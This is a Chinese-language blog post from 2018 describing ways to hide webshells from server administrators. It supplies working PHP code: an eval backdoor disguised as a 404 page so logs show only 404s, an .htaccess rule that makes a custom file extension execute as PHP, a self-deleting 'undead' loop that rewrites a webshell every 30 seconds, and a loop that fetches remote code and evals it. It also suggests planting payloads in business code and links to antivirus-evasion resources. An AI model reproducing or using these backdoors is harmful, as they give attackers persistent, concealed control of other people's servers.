隐藏 webshell 的一些手段

Author Avatar
Tr0y 6月 11, 2018 14:07:26 本文共 901 字
  • 文为知己者书
  • 在其它设备中阅读本文章

如何不让管理员发现 webshell ?
可与此篇配合食用

正常的名字&正常的位置&正常的时间

名字, 位置, 时间, 这是最基本的特征了. 加上 404 伪装, 若管理员没检索文件内容去匹配 webshell 特征的话, 一般发现不了.

404 伪装

可以插入到网站自身的 404 页面中
注意 header 要放在第一行, 否则在利用的时候日志记录的不会是 404

<?php
    header('HTTP/1.1 404 Not Found');
    @eval($_GET["error"]);  //一句话
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
    <title>404 Not Found</title>
</head>

<body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
</body>

</html>

404

404 shell

日志里也是 404

404 log

404 log

也可以改成 nginx 的 404 页面, 都一样:

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

.htaccess

加入或者创建 .htaccess:
AddType application/x-httpd-php .tr0y

直接访问 XX.tr0y 即可执行 webshell

webshell

.user.ini

.user.ini 实际上就是一个可以由用户”自定义”的 php.ini.

详细内容以及利用方式见乌云知识库的笔记

不死马

到现在见过的不死马无非就是在某个地方执行一段 php, 作用是持续写入 webshell 到某个文件夹中(先判断是否存在 webshll). 换句话说, 就是一个 while(1),再加个 ignore_user_abort(1)set_time_limit(0):

<?php  
    set_time_limit(0);  
    ignore_user_abort(1);  
    unlink(__FILE__);  
    while(1){  
        file_put_contents('webshell.php',
        '<?php @eval($_POST["Tr0y"]);?>');  
        sleep(30);  
    }
?>

但是, 这个方法虽然简单易行, 却有一个问题, 重启 Apache 就没了(虽然说得容易, 但是停止业务带来的损失通常不小), 不是真正的不死(不得已的情况下还会重启机器). 我有一个未经过实践的思路, 就是写入到业务代码里, 可以分开插入到不同的业务代码中(至少业务代码被怀疑的可能性很小). 这样, 只要业务正常运行, webshell 就源源不断.

这种方式不仅限于 php 来搞, 用 python 什么的道理是一样的.

再延伸一下思路, 完全可以在自己的服务器上开个口, 把要执行的命令写进入, 然后用 file_get_contents 或者其他手段(同样不限于 php) 读取这个文件, 然后执行.

while($code = file_get_contents($remote_file)){
    @eval($code);
    sleep(5);
};

甚至不需要自己的服务器, 在某个网站的留言板 或者 gayhub 或者Ubuntu Pastebin 写命令都行, 加个正则即可. 怕人看到的话再加个对称密钥. emmmmmmmm

所以, 重启大法好…

写入业务代码

找一个很不起眼的业务代码, 插入恶意的 payload 即可, payload 可以是文件包含, 也可以直接是恶意代码, 能做的事很多. 上面的 404 伪装其实也可以算作写入业务代码方式的一种.

一句话变形

把这个方法当做”查字典”来用就行, 什么过 D 盾, 过狗, 回调一句话, 太多了, 随查随用就行.

放一些优秀的文章:

一些不包含数字和字母的 webshell(leavesongs)

不包含数字字母的 WebShell(freebuf)

PHP WebShell 变形技术总结

免杀 webshell 小叙 [ 一 ]

无文件 webshell

这个姿势太骚了, 放链接吧

freebuf

End

What do you think?

本文标题: 隐藏 webshell 的一些手段
原始链接: http://www.tr0y.wang/2018/06/11/HideWebShell/
发布时间: 2018.06.11-14:07
最后更新: 2018.11.03-20:46
版权声明: 本站文章均采用CC BY-NC-SA 4.0协议进行许可。转载请注明出处!